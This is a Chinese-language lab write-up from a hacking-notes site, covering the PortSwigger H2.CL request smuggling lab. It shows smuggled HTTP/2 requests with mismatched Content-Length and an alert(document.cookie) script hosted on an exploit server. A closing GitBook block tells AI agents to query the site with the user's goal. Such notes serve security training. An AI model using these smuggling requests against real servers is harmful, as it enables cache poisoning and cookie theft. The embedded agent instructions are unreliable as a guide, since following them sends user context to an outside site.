> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/h2-cl-request-smuggling.md).

# H2.CL 请求走私

H2.CL 请求走私笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### H2.CL 请求走私

该实验室存在 **请求走私** 因为前端服务器会降级 **HTTP/2** 即使请求的长度不明确，也会处理这些请求。

目标是发起一次攻击，使受害者的浏览器加载并执行一个 **恶意 JavaScript 文件** 该文件托管在利用服务器上，内容如下：

```javascript
alert(document.cookie)
```

受害者用户每次都会访问主页 **10 秒**.

#### **通过走私切换 404**

需要一个长度不一致来造成 **404 未找到**:

```http
POST / HTTP/2
Host: 0a8c00880499cdd181ae9d4900ed000f.web-security-academy.net
Content-Length: 14

test=testing
GET /error/ HTTP/1.1
Host: 0a8c00880499cdd181ae9d4900ed000f.web-security-academy.net
Content-Length: 11

test=test
```

#### **应用行为分析**

页面会自动加载一个脚本：

`resources/js/analytics.js?uid=3309545055`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-891ea3f240710cfe5aa82acfce9afcfd13318829%2F%7BF62B3C60-F05D-4E6D-87F7-F140517019A5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

该脚本会生成一个随机标识符，并向以下地址发送查询：

```javascript
/analytics?id=<random value>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1a7d73012ac3607cf6d865fe67beccb0816c2364%2F%7BD9860077-F17F-43EA-A3C6-9F38AC3C193D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

函数摘录：

```javascript
function randomString(length, chars) {
    var result = '';
    for (var i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];
    return result;
}
var id = randomString(16, '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ');
fetch('/analytics?id=' + id)
```

#### **可接受路径观察**

向以下路径走私的请求：

```http
GET /resources HTTP/1.1
Host: test.com
Content-Length: 11

test=test
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e587ab28f5befefae1e21b4ed5c43b7b4757720c%2F%7BE415EF65-91A1-46D2-8CA6-45BAD213BACA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

会被接受。

另一方面，其他路径则不会。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-83720fb669762d685b9d5dd6dd3faa4e4a202ea9%2F%7BBE9B35B3-50E4-40C7-B98B-9AB38093AD5E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **恶意脚本注入**

我们将有效载荷放入利用服务器提供的文件中：

* 文件名： **resources**
* 正文内容：

```javascript
<script>alert(document.cookie)</script>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c49dc90301826db9d92bb4a758c1778b4c5d6a9d%2F%7BD8286DCB-E2EE-4DD9-B016-FA707D66A69D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

受害者会被重定向到该文件，浏览器会执行该 alert，从而确认漏洞已被利用。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-007655840ce8f240b6730b13dbb167711acb9a0a%2F%7BBF87F632-9D21-4148-8EF4-51A8CF572AE1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/h2-cl-request-smuggling.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
